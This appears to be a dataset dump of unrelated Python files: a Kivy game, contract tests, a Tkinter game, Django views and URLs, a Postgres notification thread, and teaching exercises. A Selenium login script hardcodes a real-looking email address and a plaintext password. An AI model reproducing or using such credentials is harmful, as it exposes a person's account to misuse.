print(self.value)
return self.dismiss()
Clock.schedule_once(self._get_key,0.01)
class SettingButtonItem(SettingItem):
def __init__(self, **kw):
super(SettingButtonItem, self).__init__(**kw)
Clock.schedule_once(self._after, 1)
def _after(self, dt=None):
self.l = Label(text=str(self.value))
self.add_widget(self.l)
print('cool', self.value)
def on_release(self):
pop = ButtonPop(value=self.value,
key=self.key,
on_dismiss=lambda a: self._set_val(pop))
pop.open()
def _set_val(self, pop):
self.value = pop.value
def on_value(self, instance, value):
if hasattr(self, 'l'):
self.l.text = str(self.value)
return SettingItem.on_value(self, instance, value)
class ConfigScreen(Screen):
s = ObjectProperty(None)
player_keys = 'left right thrust fire special'.split()
def __init__(self, **kw):
super(ConfigScreen, self).__init__(**kw)
self.config = ConfigParser()
self.config.read('config.ini')
self._update_players()
Clock.schedule_once(self._after_build, 1)
def on_leave(self, *args):
Screen.on_leave(self, *args)
self._update_players()
def _update_players(self):
for i, p in enumerate(self.players, start=1):
self._update_player(i, p)
def _update_player(self, i, p):
keys = {}
for key in self.player_keys:
keys[key] = int(self.config.get('player%d'%i, key))
p['keys'] = keys
def _after_build(self, dt=None):
print(os.path.abspath('.'), os.path.isfile("config.json"))
s = self.s
s.register_type('button', SettingButtonItem)
s.add_json_panel('stuff', self.config, 'config.json')
for i in range(1, 6):
player = 'player%d' % i
j = player+'.json'
with open(j, 'wb') as f:
f.write(json.dumps(
[
{
"type": "button",
"title": a,
"desc": "key for applying '%s'"%a,
"section": player,
"key": a,
} for a in self.player_keys
], indent=4
).encode(encoding='utf_8'))
s.add_json_panel(player, self.config, j)
def save(self):
self.config.write()
self.manager.current = 'menu'
players = [ {'name': 'Player1',
'source': 'imgs/DUCK.GIF', #'weapon': 'gun',
'pos': (50, 50),
'r': 1.0, 'g': 1.0, 'b': 0.75,
'rotation': 45
},
{'name': 'Player2',
'source': 'imgs/DUCK.GIF', #'weapon': 'gun',
'pos': (50, 200),
'r': 1.0, 'g': 0.5, 'b': 0.75,
'rotation': 45
},
{'name': 'Player3',
'source': 'imgs/DUCK.GIF', #'weapon': 'gun',
'pos': (250, 50),
'r': 0.5, 'g': 0.2, 'b': 0.75,
'rotation': 45
},
{'name': 'Player4',
'source': 'imgs/DUCK.GIF', #'weapon': 'gun',
'pos': (350, 50),
'r': 0.5, 'g': 0.5, 'b': 0.98,
'rotation': 45
},
{'name': 'Player5',
'source': 'imgs/DUCK.GIF', #'weapon': 'gun',
'pos': (450, 50),
'r': 1.0, 'g': 0.1, 'b': 0.99,
'rotation': 45
},
{'name': 'Player6',
'source': 'imgs/DUCK.GIF', #'weapon': 'gun',
'pos': (550, 50),
'r': 0.35, 'g': 0.99, 'b': 0.99,
'rotation': 45
},
]
for p in players:
p['size_hint'] = (0.02, 0.02)
class Menu(Screen):
def __init__(self, **kw):
super(Menu, self).__init__(**kw)
class GameSetup(Screen):
players = ListProperty([])
def __init__(self, **kw):
super(GameSetup, self).__init__(**kw)
self.level = 1
def on_enter(self, *args):
Screen.on_enter(self, *args)
self.event = Clock.schedule_interval(self._tick, 0.02)
def go(self):
with open('levels/%02d.json' % self.level) as f:
level = json.load(f)
self.manager.get_screen('game'
).setup(level=level,
players=list(self.players))
self.manager.current = 'game'
def on_leave(self, *args):
Screen.on_leave(self, *args)
self.event.cancel()
self.players = []
def _tick(self, dt=None):
fire2player = [(p['keys']['fire'], i) for i, p in enumerate(ConfigScreen.players, start=1)]
players = list(self.players)
for k, i in fire2player:
if KEYS[k] and i not in players:
players.append(i)
self.players = players
class GameOver(Screen):
def __init__(self, **kw):
super(GameOver, self).__init__(**kw)
def set_winner(self, winner=None):
self.winner = "%s Wins!" % winner if winner else 'TIE :('
Config.set('graphics', 'fullscreen', 1)
class SkyBombersApp(App):
def on_start(self):
import cProfile
self.profile = cProfile.Profile()
self.profile.enable()
def on_stop(self):
self.profile.disable()
self.profile.dump_stats('myapp.profile')
def build(self):
def on_key_down(window, keycode, *rest):
KEYS[keycode] = True
def on_key_up(window, keycode, *rest):
KEYS[keycode] = False
Window.bind(on_key_down=on_key_down, on_key_up=on_key_up)
Window.screen = 1
GlobalStuff.init()
config= ConfigScreen(name='config')
sm.add_widget(config)
game = Game(name='game')
sm.add_widget(game)
sm.add_widget(GameSetup(name='game_setup'))
sm.add_widget(GameOver(name='game_over'))
sm.add_widget(Menu(name='menu'))
sm.current = 'menu'
return sm
if __name__ == '__main__':
SkyBombersApp().run() |
990,187 | 4a9b799448dac5c418f20b2dbc756d25f9be4e24 | import time
import os
time.sleep(10)
os.system("/home/pi/Desktop/greenHouseBusTimes/busTimes2LCD.py")
|
990,188 | 491e659517d363ffe180342604b4e2d6ed0be677 | import testinfra.utils.ansible_runner
testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(
'.molecule/ansible_inventory').get_hosts('all')
def test_upload(Command, Sudo, File):
with Sudo():
out = Command('rm -f /srv/ftp-incoming/upload_test.sh')
out = Command.check_output('/upload_test.sh')
with Sudo():
f = File('/srv/ftp-incoming/upload_test.sh')
assert f.exists
assert f.size > 1
assert out == ''
|
990,189 | 4b29ad78618e226e9bea18847e1c34a1f4a7a9f2 |
import pytest
import brownie
PRECIO95 = 10
PRECIO98 = 15
PRECION = 12
PRECIOP = 10
LITROS = 900
LITROS2 = 2
SEL1 = 10
SEL2 = 20
SEL3 = 30
SEL4 = 40
SEL5 = 50
SEL6 = 60
SEL7 = 100
MAXIMO = 1000
@pytest.fixture
def gasolinera1_contract(gasolinera1, accounts):
yield gasolinera1.deploy(PRECIO95,PRECIO98,PRECION,PRECIOP,MAXIMO,LITROS,LITROS2,LITROS,LITROS,SEL1,SEL2,SEL3,SEL4,SEL5,SEL6,SEL7,{'from': accounts[0]})
def test_inicial(gasolinera1_contract,accounts):
assert gasolinera1_contract.empresa()==accounts[0]
assert gasolinera1_contract.gasolinera("G95") == (LITROS,PRECIO95)
assert gasolinera1_contract.gasolinera("G98") == (LITROS2,PRECIO98)
assert gasolinera1_contract.gasolinera("DiN") == (LITROS,PRECION)
assert gasolinera1_contract.gasolinera("DiP") == (LITROS,PRECIOP)
assert gasolinera1_contract.maximo() == MAXIMO
assert gasolinera1_contract.seleccion(0) == SEL1
assert gasolinera1_contract.seleccion(1) == SEL2
assert gasolinera1_contract.seleccion(2) == SEL3
assert gasolinera1_contract.seleccion(3) == SEL4
assert gasolinera1_contract.seleccion(4) == SEL5
assert gasolinera1_contract.seleccion(5) == SEL6
assert gasolinera1_contract.seleccion(6) == SEL7
def test_comprobacion(gasolinera1_contract,accounts):
assert gasolinera1_contract.precio("G95",{'from':accounts[1]}) == PRECIO95
assert gasolinera1_contract.precio("G98",{'from':accounts[1]}) == PRECIO98
assert gasolinera1_contract.precio("DiN",{'from':accounts[1]}) == PRECION
assert gasolinera1_contract.precio("DiP",{'from':accounts[1]}) == PRECIOP
gasolinera1_contract.echargasolina(1,"G95",0,{'from':accounts[1],'value':10})
gasolinera1_contract.parar(1,1,False,{'from':accounts[1]})
def test_failed_transactions(gasolinera1_contract, accounts):
with brownie.reverts("Bien escrito"):
gasolinera1_contract.echargasolina(1,"G58",0,{'from':accounts[1],'value':10})
with brownie.reverts("Seleccion valida"):
gasolinera1_contract.echargasolina(1,"G95",9,{'from':accounts[1],'value':10})
with brownie.reverts("Precio valido"):
gasolinera1_contract.echargasolina(1,"G98",0,{'from':accounts[1],'value':18})
with brownie.reverts("Hay litros suficientes"):
gasolinera1_contract.echargasolina(1,"G98",6,{'from':accounts[1],'value':100})
with brownie.reverts("Numero calle correcto"):
gasolinera1_contract.parar(2,10,True,{'from':accounts[1]})
with brownie.reverts("El surtidor se esta usando"):
gasolinera1_contract.parar(1,10,True,{'from':accounts[1]})
with brownie.reverts("Empresa"):
gasolinera1_contract.surtir(12,"GNT",{'from':accounts[1]})
with brownie.reverts("Bien escrito"):
gasolinera1_contract.surtir(12,"GNT",{'from':accounts[0]})
with brownie.reverts("Entra"):
gasolinera1_contract.surtir(1000,"G98",{'from':accounts[0]})
with brownie.reverts("Empresa"):
gasolinera1_contract.cambiar_precio("G90",12,{'from':accounts[1]})
with brownie.reverts("Bien escrito"):
gasolinera1_contract.cambiar_precio("G90",12,{'from':accounts[0]})
with brownie.reverts("Distinto precio"):
gasolinera1_contract.cambiar_precio("G95",10,{'from':accounts[0]})
with brownie.reverts("Positivo"):
gasolinera1_contract.cambiar_precio("G95",0,{'from':accounts[0]})
with brownie.reverts("Empresa"):
gasolinera1_contract.cambiar_seleccion(1,40,{'from':accounts[1]})
with brownie.reverts("En el rango"):
gasolinera1_contract.cambiar_seleccion(9,40,{'from':accounts[0]})
gasolinera1_contract.echargasolina(1,"G95",1,{'from':accounts[1],'value':20})
with brownie.reverts("No se estan usando"):
gasolinera1_contract.echargasolina(1,"G95",0,{'from':accounts[1],'value':10})
with brownie.reverts("Esta lleno o tope"):
gasolinera1_contract.parar(1,1,False,{'from':accounts[1]})
gasolinera1_contract.parar(1,2,False,{'from':accounts[1]})
|
990,190 | e30839fa7059cef835961b7477ecee79cba7061c | from tkinter import *
import json
import math
from analysis import *
import random
import time
WIDTH = 800
HEIGHT = 700
EDGE = 200
H = math.sqrt(3) * EDGE / 2
HALF_EDGE = EDGE / 2
SIZE = 15
LOSE = 'lose'
WIN = 'win'
TIE = 'tie'
value_to_color = {WIN: 'darkgreen', LOSE: 'red', TIE: 'yellow'}
LEFT = 'left'
RIGHT = 'right'
player_to_color = {LEFT: 'pink', RIGHT: 'blue'}
CUR_PLAYER = LEFT
INITIAL_POS = -1
POS = INITIAL_POS
PRE_POS = INITIAL_POS
MEMORANDOM = []
# Left_p = ''
# Right_p = ''
p = {LEFT: '', RIGHT: ''}
RULE = 'To move, you need to color one given line on our graph.\n' \
'To win, you need to force your opponent to form a triangle with their lines.\n' \
'Try to avoid forming triangles with your own line.\n' \
'Have Fun Playing!\n '
def ShowRule():
top = Toplevel(master)
top.attributes('-topmost', 'true')
top.title("rule")
ruleMsg = Message(top, text=RULE)
ruleMsg.pack()
okButton = Button(top, text='OK', command=top.destroy)
okButton.pack()
return
'''
For the beginning page, we select players
'''
def SetPlayer():
def setMaker():
if right.get() != '--right player--' and left.get() != '--left player--':
top.destroy()
global p
# global Right_p
# global Left_p
p[RIGHT] = right.get()
p[LEFT] = left.get()
c.itemconfig('name', text='%s V.S. %s' % (p[LEFT], p[RIGHT]))
SetupBoard(POS)
top = Toplevel(master)
top.attributes('-topmost', 'true')
top.title("chooseplayer")
left = StringVar()
leftOptionMenu = OptionMenu(
top, left, '--left player--', 'human', 'DumbCom', 'PerfectCom')
leftOptionMenu.pack()
right = StringVar()
rightOptionMenu = OptionMenu(
top, right, '--right player--', 'human', 'DumbCom', 'PerfectCom')
rightOptionMenu.pack()
okButton = Button(top, text='OK', command=setMaker)
okButton.pack()
return
root = np.load('root3.npy')
'''
LOAD Database from .json created by analysis.py
'''
DB = {}
with open('value4.json', 'r', encoding='utf-8') as f:
DB = json.load(f)
'''
DOTS & LINES are how we draw lines and organize them on canvas
'''
DOTS = [[WIDTH / 2 - EDGE, HEIGHT / 2],
[WIDTH / 2 - HALF_EDGE, HEIGHT / 2 - H],
[WIDTH / 2 + HALF_EDGE, HEIGHT / 2 - H],
[WIDTH / 2 + EDGE, HEIGHT / 2],
[WIDTH / 2 + HALF_EDGE, HEIGHT / 2 + H],
[WIDTH / 2 - HALF_EDGE, HEIGHT / 2 + H]]
LINES = [DOTS[0] + DOTS[1], DOTS[1] + DOTS[2], DOTS[2] + DOTS[3],
DOTS[3] + DOTS[4], DOTS[4] + DOTS[5], DOTS[5] + DOTS[0],
DOTS[1] + DOTS[5], DOTS[0] + DOTS[2], DOTS[1] + DOTS[3],
DOTS[2] + DOTS[4], DOTS[3] + DOTS[5], DOTS[4] + DOTS[0],
DOTS[0] + DOTS[3], DOTS[1] + DOTS[4], DOTS[2] + DOTS[5]]
'''
L_COLOR is for saving line color for Passing by
'''
L_COLOR = {}
'''
For Lines, we do these things below: Click & Passby(Enter+Leave)
'''
def ClickMaker(i):
def Click(event):
global CUR_PLAYER
global POS
global PRE_POS
global MEMORANDOM
legalMoves = list(GenMove(POS))
if legalMoves.count(i) != 0:
MEMORANDOM.append(POS)
PRE_POS = POS
POS = DoMove(POS, i)
if CUR_PLAYER == LEFT:
CUR_PLAYER = RIGHT
c.itemconfig(
lines[i], fill=player_to_color[LEFT], width=10)
else:
CUR_PLAYER = LEFT
c.itemconfig(lines[i],
fill=player_to_color[RIGHT], width=10)
SetupBoard(POS)
return Click
def EnterLine(i):
def Enter(event):
global CUR_PLAYER
global POS
global PRE_POS
global MEMORANDOM
legalMoves = list(GenMove(POS))
if legalMoves.count(i) != 0:
c.itemconfig(lines[i], fill='gray')
# SetupBoard(POS)
return Enter
def LeaveLine(i):
def Leave(event):
global POS
legalMoves = list(GenMove(POS))
if legalMoves.count(i) != 0:
c.itemconfig(lines[i], fill=L_COLOR[str(i)])
# SetupBoard(POS)
return Leave
def flipState(value):
if value == WIN:
return LOSE
elif value == LOSE:
return WIN
else:
return TIE
def PredictColor(nextValue):
if nextValue == WIN:
return value_to_color[LOSE]
elif nextValue == LOSE:
return value_to_color[WIN]
else:
return value_to_color[TIE]
def GameOver():
def undomaker(self):
def undo():
self.destroy()
Undo()
return undo
def resetmaker(self):
def reset():
self.destroy()
Reset()
return reset
c.itemconfig('promt', text='%s\' win!' % CUR_PLAYER)
top = Toplevel(master, width=200, height=70)
top.attributes('-topmost', 'true')
top.title("Game Over")
ruleMsg = Message(top, text='%s\' win!' % CUR_PLAYER)
ruleMsg.pack()
undoButton = Button(top, text='Undo', command=undomaker(top))
undoButton.pack()
resetButton = Button(top, text='Reset', command=resetmaker(top))
resetButton.pack()
return
def SetupBoard(pos):
# print(pos)
# print('SetupBoard')
# print(DB[str(root[pos])])
if Primitive(pos) != UNDECIDED:
GameOver()
# print('%s win!' % CUR_PLAYER)
return
posStr = Pos2Str(pos)
# print(str)
c.itemconfig('promt', text='%s\'s turn' % CUR_PLAYER)
moves = GenMove(pos)
for m in moves:
nextMove = DoMove(pos, m)
# print(nextMove)
value = DB[str(root[nextMove])][0]
# print(value)
if IF_VALUE.get(): # revise
c.itemconfig(lines[m], fill=PredictColor(
value), width=DB[str(root[nextMove])][1] if value == WIN else 15 - DB[str(root[nextMove])][1])
L_COLOR[str(m)] = PredictColor(value)
else:
c.itemconfig(lines[m], fill='black', width=10)
L_COLOR[str(m)] = 'black'
# print(p[CUR_PLAYER])
if p[CUR_PLAYER] == 'DumbCom':
# Change Stupid to Dumb
# print('stupid')
ComputerGo(pos)
elif p[CUR_PLAYER] == 'PerfectCom':
# print('perfect')
PerfectGo(pos)
'''
Now for Buttons
'''
def Reset():
global PRE_POS
global POS
global CUR_PLAYER
global MEMORANDOM
MEMORANDOM = []
PRE_POS = INITIAL_POS
POS = INITIAL_POS
# print(POS)
CUR_PLAYER = LEFT
SetupBoard(POS)
def Undo():
def proc():
global PRE_POS
global POS
global CUR_PLAYER
global MEMORANDOM
if len(MEMORANDOM) == 0:
top = Toplevel(master, width=200, height=70)
top.attributes('-topmost', 'true')
top.title("Warn")
ruleMsg = Message(top, text='Undo Error')
ruleMsg.pack()
okButton = Button(top, text='OK', command=top.destroy)
okButton.pack()
return
POS = PRE_POS
MEMORANDOM.pop()
PRE_POS = INITIAL_POS if len(MEMORANDOM) == 0 else MEMORANDOM[-1]
CUR_PLAYER = LEFT if CUR_PLAYER == RIGHT else RIGHT
if p[LEFT] != 'human' or p[RIGHT] != 'human':
proc()
if len(MEMORANDOM) != 0:
proc()
else:
proc()
SetupBoard(POS)
# def ValueCB():
# print(IF_VALUE)
def ValueCBMAKER():
# print(IF_VALUE.get())
SetupBoard(POS)
# return ValueCB
def ComputerGo(pos):
moves = GenMove(pos)
# print(moves)
m = random.sample(list(moves), 1)[0]
# time.sleep(0.2)
ClickMaker(m)(1)
def PerfectGo(pos):
moves = GenMove(pos)
if pos == -1:
m = random.sample(list(moves), 1)[0]
ClickMaker(m)(1)
return
print('---')
print(DB[str(root[pos])])
value = DB[str(root[pos])][0]
remoteness = DB[str(root[pos])][1]
for m in moves:
nextMove = DoMove(pos, m)
print(DB[str(root[pos])])
if DB[str(root[nextMove])][1] == remoteness - 1 and DB[str(root[nextMove])][0] != value:
ClickMaker(m)(1)
break
master = Tk()
master.title('Love & Hate')
IF_VALUE = BooleanVar()
c = Canvas(master, width=WIDTH, height=HEIGHT)
buttonRule = Button(master, text='Rule', command=ShowRule)
buttonRule.pack()
buttonReset = Button(master, text='Reset', command=Reset)
buttonReset.pack()
buttonUndo = Button(master, text='Undo', command=Undo)
buttonUndo.pack()
buttonValue = Checkbutton(master, text='Value&Remoteness',
variable=IF_VALUE, onvalue=True, offvalue=False, command=ValueCBMAKER)
buttonValue.pack()
lines = {}
for i in range(SIZE):
lines[i] = c.create_line(LINES[i], width=10, fill='black')
L_COLOR[str(i)] = 'black'
c.itemconfig(lines[i], tags=(str(i) + 'tag'))
c.tag_bind(str(i) + 'tag', sequence='<Button-1>', func=ClickMaker(i))
c.tag_bind(str(i) + 'tag', sequence='<Enter>', func=EnterLine(i))
c.tag_bind(str(i) + 'tag', sequence='<Leave>', func=LeaveLine(i))
SetPlayer()
c.create_text(WIDTH / 2, 25, text='%s V.S. %s' %
(p[LEFT], p[RIGHT]), fill='black', font=('Helvetica', 30), tag='name')
c.create_text(WIDTH / 2, 60, text='%s\'s turn' %
CUR_PLAYER, fill='black', font=('Helvetica', 30), tag='promt')
c.pack()
# ShowRule()
mainloop()
# while ((p[LEFT] == '') or (p[RIGHT] == '')):
# continue
# SetupBoard(POS)
|
990,191 | b8aca9cfd609595cb26ada8fe1089bbc0dd2ae52 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 17/11/2 上午9:55
# @Author : Aries
# @Site :
# @File : py010_none.py
# @Software: PyCharm
# 核心笔记 布尔值
'''
python中的虽有标准对象都是可以进行bool测试的
'''
# None
print bool(None)
print None == None # True
# 布尔型
# 以及所有为零的数
print bool(0)
print bool(0.0)
print bool(0L)
print bool(0.0j)
# 空字符串
print bool("")
# 空列表
print bool([])
# 空元组
print bool(())
# 空字典
print bool({})
|
990,192 | fc7471b4bd4493ae3f54f873d333d76a3fe7862f | # pylint: disable=unused-import
from django.shortcuts import render, get_object_or_404, redirect, HttpResponse
from django.http import Http404
from django.core.exceptions import PermissionDenied
from django.contrib import messages
from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin
from django.db.models import Q
from django.views import View
from django.views.generic import (
ListView,
CreateView,
UpdateView,
DeleteView,
DetailView,
)
from django.core.mail import EmailMessage
from django.template.loader import render_to_string
from django.core.mail import send_mail
from django.utils import timezone
from django.utils.html import strip_tags
from remote_printer.users.models import CustomUser
from printer import forms as printer_forms
from printer.models import PrintRequest, PrintRequestFile, Price
class StaffPrintRequestListView(LoginRequiredMixin, UserPassesTestMixin, ListView):
template_name = 'printer/staff_print_request_list_table.html'
model = PrintRequest
context_object_name = 'prints'
flag = 1
def get_queryset(self):
status = self.kwargs.get('status', 'requested')
if status == 'deleted':
return PrintRequest.objects.filter(Q(is_deleted=True)).order_by('-created_at')
else:
status = PrintRequest.STATUS.get_value(status)
return PrintRequest.objects.filter(Q(status=status) &
Q(is_deleted=False)).order_by('-created_at')
def get_context_data(self, **kwargs):
# pylint: disable=arguments-differ
# Call the base implementation first to get a context
context = super().get_context_data(**kwargs)
if self.flag:
self.template_name = 'printer/staff_print_request_list.html'
context['sidebarSection'] = 'staff_print_request_list'
context['status'] = self.kwargs.get('status', 'requested')
return context
def test_func(self):
if self.request.user.user_type == self.request.user.UserType.get_value("staff"):
return True
raise PermissionDenied()
# return False
class StaffPrintRequestDetailView(LoginRequiredMixin, UserPassesTestMixin, View):
template_name = 'printer/staff_print_request_detail.html'
def get(self, request, *args, **kwargs):
# pylint: disable=unused-argument
print_request = PrintRequest.objects.filter(Q(pk=self.kwargs.get('pk')) & Q(is_deleted=False)).first()
if print_request:
print_requests_files = PrintRequestFile.objects.filter(Q(print_request=print_request.pk) &
Q(is_deleted=False)
)
form = printer_forms.StaffPrintRequestForm(instance=print_request)
context = {'print_request': print_request,
'print_requests_files': print_requests_files,
'form': form,
'sidebarSection': 'staff_print_request_detail',
}
return render(request, self.template_name, context)
return HttpResponse("<h1>404</h1>")
def post(self, request, *args, **kwargs):
# pylint: disable=unused-argument
print_request = PrintRequest.objects.filter(Q(pk=self.kwargs.get('pk')) & Q(is_deleted=False)).first()
print_requests_files = PrintRequestFile.objects.filter(Q(print_request=print_request.pk) &
Q(is_deleted=False))
form = printer_forms.StaffPrintRequestForm(self.request.POST, instance=print_request)
if form.is_valid():
if print_request.status in (1, 2):
form.instance.status = PrintRequest.STATUS.get_value('printed')
price = Price.objects.latest('wef')
form.instance.printed_on = timezone.now()
price = (
form.instance.no_of_bnw_page * price.bnw_page +
form.instance.no_of_color_page * price.color_pages +
(
form.instance.no_of_page +
form.instance.no_of_front_page +
form.instance.no_of_blank_page
) * price.page
)
if bool(price):
form.instance.amount = price
else:
form.instance.amount = 1
form.save()
return redirect('printer:staff_print_request_list', status='printed')
else:
return HttpResponse("<h1>404</h1>")
else:
context = {'print_request': print_request,
'print_requests_files': print_requests_files,
'form': form,
'sidebarSection': 'staff_print_request_detail',
}
return render(request, self.template_name, context)
def test_func(self):
if self.request.user.user_type == self.request.user.UserType.get_value("staff"):
return True
raise PermissionDenied()
# return False
class PrintRequestRejectView(LoginRequiredMixin, UserPassesTestMixin, View):
def get(self, request, *args, **kwargs):
# pylint: disable=unused-argument
print_request = get_object_or_404(PrintRequest, pk=self.kwargs.get('pk'))
if print_request.status == 1:
print_request.status = print_request.STATUS.get_value("rejected")
print_request.rejected_on = timezone.now()
print_request.save()
else:
messages.error(request, "Your print request cannot be rejected")
return redirect('printer:staff_print_request_list', status='rejected')
def test_func(self):
if self.request.user.user_type == self.request.user.UserType.get_value("staff"):
return True
raise PermissionDenied()
# return False
class PrintRequestDeleteView(LoginRequiredMixin, UserPassesTestMixin, View):
def get(self, request, *args, **kwargs):
# pylint: disable=unused-argument
print_request = get_object_or_404(PrintRequest, pk=self.kwargs.get('pk'))
if print_request.is_deleted:
print_requests_files = PrintRequestFile.objects.filter(print_request=self.kwargs.get('pk'))
for print_requests_file in print_requests_files:
print_requests_file.delete()
print_request.delete()
messages.info(request, "Your print request has been successfully deleted")
else:
messages.error(request, "Your print request cannot be deleted")
return redirect('printer:staff_print_request_list', status='deleted')
def test_func(self):
if self.request.user.user_type == self.request.user.UserType.get_value("staff"):
return True
raise PermissionDenied()
# return False
|
990,193 | 0222dcc22b975852743b8285dbb7eeb1bf14e845 | import logging
import random
import select
import threading
from datetime import datetime
import time
import weakref
from django.db import connection
logger = logging.getLogger("zentral.core.probes.sync")
postgresql_channel = "probe_change"
class ProbeViewSync(threading.Thread):
def __init__(self, probe_view):
self.probe_view = weakref.ref(probe_view)
super().__init__(daemon=True)
self.error_state = False
self.last_heartbeat = None
def run(self):
while True:
self.last_heartbeat = datetime.utcnow()
# LISTEN query
try:
cur = connection.cursor()
cur.execute('LISTEN {}'.format(postgresql_channel))
connection.commit()
except Exception as db_err:
connection.close_if_unusable_or_obsolete()
self.error_state = True
sleep_time = 2 * (1 + random.random())
logger.error("Could not execute the LISTEN query: %s. Sleep %ss.", db_err, sleep_time)
time.sleep(sleep_time)
continue
# are we recovering from an error ?
if self.error_state:
# need to clear the probe_view. We might have missed some updates
probe_view = self.probe_view()
if probe_view is not None:
logger.info("DB error recovery. Clear probe view.")
probe_view.clear()
else:
logger.error("Could not get probe view. "
"Stop error recovery for notifications on channel '%s'.",
postgresql_channel)
break
self.error_state = False
logger.info("Waiting for notifications on channel '%s'", postgresql_channel)
pg_con = connection.connection
while True:
self.last_heartbeat = datetime.utcnow()
if select.select([pg_con], [], [], 5) == ([], [], []):
pass
else:
try:
pg_con.poll()
except Exception as db_err:
connection.close_if_unusable_or_obsolete()
self.error_state = True
logger.error("Could not poll() the DB connection: %s", db_err)
break
if pg_con.notifies:
# clear notifications
while pg_con.notifies:
pg_con.notifies.pop()
logger.info("Received notification on channel '%s'", postgresql_channel)
probe_view = self.probe_view()
if probe_view is not None:
probe_view.clear()
else:
logger.error("Could not get probe view. "
"Stop waiting for notifications on channel '%s'.",
postgresql_channel)
return
def signal_probe_change():
try:
cur = connection.cursor()
cur.execute('NOTIFY {}'.format(postgresql_channel))
connection.commit()
except Exception as db_err:
logger.error("Could not signal probe change: %s", db_err)
connection.close_if_unusable_or_obsolete()
|
990,194 | 2d7a6e11031b7cb71dc9b81bc99df44e26f9f257 | from django.urls import path
# from .views import user_logout,user_login,user_registration, user_profile, update_profile,password_change
from . import views
urlpatterns = [
path('logout', views.user_logout, name='user-logout'),
path('login', views.user_login, name='user-login'),
path('register', views.user_registration, name='user-register'),
path('profile', views.user_profile, name='user-profile'),
path('update/profile', views.update_profile, name='update-profile'),
path('password/change', views.password_change, name='password-change'),
] |
990,195 | d944086b382ba68c28da8de0e0358d2a84c16079 | from django.urls import path, include
from rest_framework.routers import DefaultRouter
from rest_framework.authtoken.views import obtain_auth_token
from django.conf.urls import url
# ViewSets
from api.viewsets.users.users import UserViewSet, AlumnosViewSet, AdminsViewSet
from api.viewsets.cursos.cursos import CursoViewSet
from api.viewsets.asignacion_cursos.asignacion_cursos import AsignacionCursosViewSet
from api.viewsets.asignacion_notas.asignacion_notas import AsignacionNotasViewSet
router = DefaultRouter()
router.register('user', UserViewSet, basename="users")
router.register('cursos', CursoViewSet, basename="cursos")
router.register('asignacion', AsignacionCursosViewSet, basename="asignacion")
router.register('notas', AsignacionNotasViewSet, basename="notas")
router.register('alumnos', AlumnosViewSet, basename="alumnos")
router.register('admins', AdminsViewSet, basename="admins")
urlpatterns = [
path('api/', include(router.urls)),
#url(r"^api/token", obtain_auth_token, name="api-token"),
#path('api-auth/', include('rest_framework.urls')),
]
|
990,196 | 9b3843ca134f6600b739ac0b5986c7e71f49e04f | from selenium.webdriver import Firefox
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.wait import WebDriverWait
def prepare_driver():
'''Returns a Firefox Webdriver.'''
options = Options()
# options.add_argument('-headless')
driver = Firefox(executable_path='/home/shivendra/seleniumExample/geckodriver/geckodriver', options=options)
return driver
driver = prepare_driver()
wait = WebDriverWait(driver, 10)
driver.get("https://stackoverflow.com/users/login")
# Click GMail login
driver.find_element_by_xpath("/html/body/div[4]/div[2]/div/div[2]/button[1]").click()
# type email
wait.until(EC.presence_of_element_located((By.ID, "identifierId"))).send_keys('shivendra.srivastava@auditoria.ai')
# click next
wait.until(EC.presence_of_element_located((By.ID, "next"))).click()
# type password
wait.until(EC.presence_of_element_located((By.ID, "Passwd"))).send_keys('ezeia@123')
# click signin
wait.until(EC.presence_of_element_located((By.ID, "signIn"))).click()
# wait for the end of the redirection
wait.until(EC.presence_of_element_located((By.ID, "nav-questions")))
|
990,197 | a62a9a8978d940e84e3e2fce3b492c4c5bf2ee59 | import glob
import os
import io
# 텍스트 파일 처리( In-memory Streams )
# 파이썬 2.x 에서는 StringIO가 파이썬 3.x에서는 io.StringIO로 바뀌었습니다.
# StringIO는 파일처럼 흉내내는 객체라고 이해하면 됩니다.
# 문자열 데이터를 파일로 저장한 다음 여러가지 처리를 하게 되는데 그 파일이 다시 쓰이지 않을 때 유용하게 사용된다고 한다.
str = '파이썬 2.x 에서는 StringIO가 파이썬 3.x에서는 io.StringIO로 바뀌었습니다.'
f=io.StringIO()
f.write(str+"\n")
f.write(str+"\n")
f.write(str+"\n")
#f.flush()
# 모든 데이터 읽기
print(f.getvalue())
f.close()
|
990,198 | 14f83bb73c33c09c95012e5365d44ee3c1522d7c | """
Complete all of the TODO directions
The number next to the TODO represents the chapter
and section in your textbook that explain the required code
Your file should compile error free
Submit your completed file
"""
# TODO 6.1 Introduction to File Input and Output
print("=" * 10, "Section 6.1 file input and output", "=" * 10)
# 1) Assign the variable file_variable to open states.txt in read mode
f = open("states.txt", "r")
# print(f.read())
# 2) Close the file
f.close()
# 3) Assign the variable state_capitals to open capitals.txt in write mode.
# Please note, the file does not currently exist, and by opening it in
# write mode you will create it
def main():
state_capitals = open('capitals.txt', 'w')
# 4) Write three state capitals to the file
# There is a list of state capitals here: https://en.wikipedia.org/wiki/List_of_capitals_in_the_United_States
# Sample:
# state_capitals.write("Alabama, Montgomery\n") - make sure to include the \n as a new line symbol
state_capitals.write("Alabama, Montgomery\n")
state_capitals.write("Alaska, Juneau\n")
state_capitals.write("Arizona, Phoenix\n")
# 5) Close the file
state_capitals.close()
main()
# TODO 6.1 reading data in from a file
print("=" * 10, "Section 6.1 reading data from a file", "=" * 10)
# 1) Assign the variable states_data to open states.txt in read mode
state_data = open('states.txt', 'r')
# 2) Read in three lines from the file, assign to the variables below, Remove """ """ to test
line1 = state_data.readline()
line2 = state_data.readline()
line3 = state_data.readline()
# 3) Close the file
state_data.close()
# 4) Print the three variables
print(line1, line2, line3)
# TODO 6.2 Using loops to process files
print("=" * 10, "Section 6.2 use loops to process files", "=" * 10)
# Complete the program below to Read in and Count all of the entries in the states file
# Remove the """ """ before testing
# 1) Open the file in read mode using states_file as the file variable
states_file = open('states.txt', 'r')
counter = 0
file = states_file.readline()
# 2) Write a for loop to read in all of the lines,
for line in states_file:
counter += 1
print(line)
print("Lines: ", counter)
# -- print them on the screen,
# -- and add 1 to counter for each line
# 3) Close the file
states_file.close()
# TODO 6.3 Processing records
print("=" * 10, "Section 6.3 processing records", "=" * 10)
# You are going to finish the program below to write book information to a file
books = 3 # use this as the number of books to enter
